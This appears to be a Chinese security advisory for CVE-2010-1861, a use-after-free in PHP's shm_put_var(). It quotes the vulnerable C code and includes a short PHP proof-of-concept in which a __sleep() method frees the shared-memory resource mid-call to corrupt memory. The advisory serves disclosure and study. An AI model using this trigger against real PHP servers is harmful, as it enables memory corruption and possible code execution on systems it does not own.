PHP shm_put_var()访问已释放资源漏洞

tigh

　　发布日期：2010-05-05   
更新日期：2010-05-10
　　受影响系统：   
PHP PHP PHP PHP 描述：   
--------------------------------------------------------------------------------   
CVE ID: CVE-2010-1861
　　PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。
　　当PHP函数需要追踪数据结构时，会使用Zend引擎注册资源。资源系统中的引用计数器仅会追踪指向实际资源的PHP变量，不会计算有多少函数在内部使用资源，这就在PHP代码中引入了漏洞。如果用户代码可以在PHP函数通过资源标识符获得了资源数据后中断该函数，就可以释放资源然后在内存中同样的位置分配同样大小的PHP字符串。可利用这个PHP字符串创建特制的资源允许利用PHP函数的内部。当恶意中断结束后，函数就会继续，使用已被替换的资源数据。
　　其中的一个有漏洞函数是sysvshm扩展的shm_put_var()函数：
　　PHP_FUNCTION(shm_put_var)   
{   
...
　　if (SUCCESS != zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlz", &shm_id, &shm_key, &arg_var)) {   
return;   
}
　　SHM_FETCH_RESOURCE(shm_list_ptr, shm_id);   
/* setup string-variable and serialize */   
PHP_VAR_SERIALIZE_INIT(var_hash);   
php_var_serialize(&shm_var, &arg_var, &var_hash TSRMLS_CC);   
PHP_VAR_SERIALIZE_DESTROY(var_hash);   
/* insert serialized variable into shared memory */   
ret = php_put_shm_data(shm_list_ptr->ptr, shm_key, shm_var.c, shm_var.len);
　　shm_put_var()内部调用了序列化功能，该功能也会序列化对象并调用对象的__sleep()方式。这个__sleep()方式之后可以释放shm资源，允许替换内存中在php_put_shm_data()调用中使用的shm_list_ptr结构，这会写入任意受控的内存。
　　static int php_put_shm_data(sysvshm_chunk_head *ptr, long key, const char *data, long len)   
{   
sysvshm_chunk *shm_var;   
long total_size;   
long shm_varpos;
　　...
　　shm_var = (sysvshm_chunk *) ((char *) ptr + ptr->end);
shm_var->key = key;   
shm_var->length = len;   
shm_var->next = total_size;
memcpy(&(shm_var->mem), data, len);   
ptr->end += total_size;   
ptr->free -= total_size;   
return 0;
　　链接：http://php-security.org/2010/05/05/mops-2010-009-php-shm_put_var-already-freed-resource-access-vulnerability/index.html   
*>
　　测试方法：   
--------------------------------------------------------------------------------
　　警 告
　　以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
　　<?php <br /> class dummy   
{
function __sleep()   
{   
shm_detach($GLOBALS['r']);   
$GLOBALS['xxxxxxxxxxxxxxxxxxxxxxxxxxxxA'] = "AAAAAAAABBB";   
$GLOBALS['xxxxxxxxxxxxxxxxxxxxxxxxxxxxx'] = "AAAAAAAABBBBBBBBCCCCCCC";   
return array();   
}   
}   
$r = shm_attach(0x7350);   
shm_put_var($r, 0x31337, new dummy());   
?>
　　建议：   
--------------------------------------------------------------------------------   
厂商补丁：
　　PHP   
---   
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
　　http://www.php.net